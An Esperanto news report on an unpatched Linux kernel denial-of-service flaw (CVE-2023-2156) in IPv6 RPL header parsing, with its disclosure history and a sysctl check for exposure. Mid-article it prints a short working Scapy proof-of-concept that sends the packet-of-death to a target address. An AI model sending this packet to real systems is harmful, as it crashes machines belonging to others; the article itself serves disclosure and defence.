Detaloj pri neflikita (0-taga) vundebleco (CVE-2023-2156) en la kerno estis malkaŝitaj. Linux, kiu permesas haltigi sistemon per sendado de speciale kreitaj IPv6-pakaĵetoj (pakaĵo-de-morto). La problemo okazas nur kiam oni ebligas subtenon por la Routing Protocol for Low-Power and Lossy Networks (RPL), kiu estas defaŭlte malŝaltita en distribuaĵoj kaj estas ĉefe uzata sur enigitaj aparatoj funkciantaj per sendrataj retoj kun alta pakaĵperdo.
La vundebleco estas kaŭzita de malĝusta prilaborado de eksteraj datumoj en la analiza kodo de la RPL-protokolo, kio kondukas al aserto-fiasko kaj la kerno eniras panikan staton. Kiam oni metas datumojn akiritajn per analizado de la IPv6 RPL-pakaĵkaplinio en la strukturon k_buff (Socket Buffer), se la kampo CmprI estas agordita al 15, la kampo Segleft estas agordita al 1, kaj CmprE estas agordita al 0, la 48-bajta vektoro kun adresoj estas malpakita al 528 bajtoj kaj okazas situacio kiam la memoro asignita por la bufro ne sufiĉas. En ĉi tiu kazo, la funkcio skb_push uzata por meti datumojn en la strukturon ekigas kontrolon pri misproporcio inter datumoj kaj bufrograndeco, generante panikan staton por malhelpi skribi preter la bufrolimo.
Ekzempla ekspluato: # Ni uzos Scapy por krei la pakaĵeton el scapy.all import * import socket # Uzu la IPv6 el via LAN-interfaco DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Ni uzas ingojn por sendi la pakaĵeton sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Krei la pakaĵeton # Tipo = 3 igas ĉi tion RPL-pakaĵeto # Adresoj enhavas 3 adresojn, sed ĉar CmprI estas 15, # ĉiu okteto de la unuaj du adresoj estas traktata kiel kunpremita adreso # Segleft = 1 por ekigi la plifortigon # lastentry = 0xf0 metas CmprI al 15 kaj CmprE al 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(tipo=3, addresses=[“a8::”, “a7::”, “a6::”], segleft=1, lastentry=0xf0) # Sendu ĉi tiun malbonan pakaĵeton sockfd.sendto(bytes(p), (DST_ADDR, 0))
Rimarkinde, la kernaj programistoj estis informitaj pri la vundebleco jam en januaro 2022 kaj provis solvi la problemon tri fojojn dum la pasintaj 15 monatoj, publikigante flikaĵojn en septembro 2022, oktobro 2022 kaj aprilo 2023, sed ĉiufoje la korektoj estis nesufiĉaj kaj la vundebleco povis esti reproduktita. Fine, la ZDI-projekto, kiu kunordigis la laboron por elimini la vundeblecon, decidis malkaŝi detalajn informojn pri la vundebleco sen atendi funkcian riparon en la kerno.
Tiel, la vundebleco restas neriparita. Aparte, la flikaĵo inkluzivita en la kerno 6.4-rc2 ne estas efika. Uzantoj estas konsilitaj kontroli, ke la RPL-protokolo ne estas uzata en iliaj sistemoj, kion oni povas fari per la komando sysctl -a | grep -i rpl_seg_enabled.
fonto: opennet.ru
